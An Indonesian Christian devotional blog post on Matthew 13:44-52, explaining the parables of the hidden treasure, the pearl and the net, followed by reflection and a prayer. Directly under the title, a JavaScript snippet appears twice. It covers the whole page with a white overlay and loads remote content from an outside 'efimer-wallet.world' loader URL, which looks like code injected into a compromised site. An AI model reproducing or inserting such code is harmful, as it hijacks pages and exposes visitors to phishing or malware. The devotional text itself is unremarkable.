KASIH KARUNIA KERAJAAN SORGA

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Sabtu, 29 Juli 2023

Matius 13 : 44 – 52

Pengantar

Istilah “kasih karunia” tentu bukanlah sesuatu yang asing di telinga kita, orang Kristen. Namun seberapa jauh kita menghayati kasih karunia Allah itu? Adakah kasih karunia itu juga membuat kita menyadari seberapa berharganya kita di hadapan Allah? Mari kita renungkan bersama.

Pemahaman

ay. 44-52 : Perumpamaan apa saja  yang diceritakan Kristus dalam bacaan kita hari ini?

ay. 51-52 : Mengapa Kristus menutup seluruh rangkaian perumpamaan pengajaran-Nya itu dengan kedua ayat ini? Apa arti penutup ini bagi Saudara?

Dalam perenungan kita hari ini ada beberapa perumpamaan yang diajarkan Kristus. Pertama perumpamaan tentang harta terpendam, kedua tentang mutiara yang berharga, dan yang ketiga tentang pukat. Bila kita memahami ketiga perumpamaan ini secara konsisten, maka kita akan mengidentifikasi tokoh dalam ketiga perumpamaan ini sebagai gambaran Kristus.

Perumpamaan tentang harta yang terpendam dan mutiara yang berharga mengajarkan bagaimana Kristus menebus umat- Nya. Dalam Perjanjian Lama bangsa Israel selaku umat Allah disebut sebagai harta milik kesayangan Allah (Kel. 19:5; Maz. 135 : 4 ) . Pemahaman yang sama juga terdapat dalam perumpamaan mutiara yang berharga, di mana Kristus yang menebus umat-Nya digambarkan sebagai pedagang yang membeli mutiara itu. Tindakan “menjual seluruh miliknya” untuk mendapatkan harta maupun mutiara itu adalah tindakan penebusan Kristus. Melalui kematian-Nya di atas kayu salib Kristus telah membeli umat-Nya dengan harga yang telah lunas dibayar-

Nya (1Kor. 6:20). Itu sebabnya rasul Yohanes mengatakan bahwa Kristus adalah pendamaian untuk segala dosa kita (1Yoh. 2:2), karena memang Allah mendamaikan dunia dengan diri-Nya melalui Kristus (2Kor. 5:19). Sedangkan perumpamaan tentang pukat mengajarkan bahwa ikan yang baik dan buruk, sebagai gambaran umat Allah yang sejati dan yang palsu, dapat berada dalam wadah yang sama (bnd. perumpamaan tentang lalang di antara gandum). Pada akhirnya, mereka yang sungguh-sungguh itu akan bersikap seperti “tuan rumah yang mengeluarkan harta yang baru dan yang lama dari perbendaharaannya.” Mengeluarkan bukan hanya melalui perkataan tetapi juga perbuatan, menjadi pribadi yang mencerminkan kasih karunia Kerajaan Sorga dalam kehidupan sehari-hari.

Refleksi                                                                 

Dalam perenungan hari ini kita diingatkan kembali tentang penebusan Kristus yang luar biasa mulia. Kita telah diperlakukan sedemikian berharga. Lalu bagaimana kita merespons kasih karunia Allah itu? Adakah kita sungguh-sungguh menjadi “ikan yang baik” di dalam pukat Allah, dengan menjadi pribadi yang mencerminkan kasih karunia Kerajaan Sorga?

Tekadku                                                               

Doa: Bapa surgawi, tolong saya untuk dapat menjadi pribadi yang mencerminkan kasih karunia Kerajaan Sorga. Amin.

Tindakanku                                                           

Saya akan mencerminkan kasih karunia Kerajaan Sorga di dalam setiap kata dan karya setiap hari.

This entry was posted in RENUNGAN. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *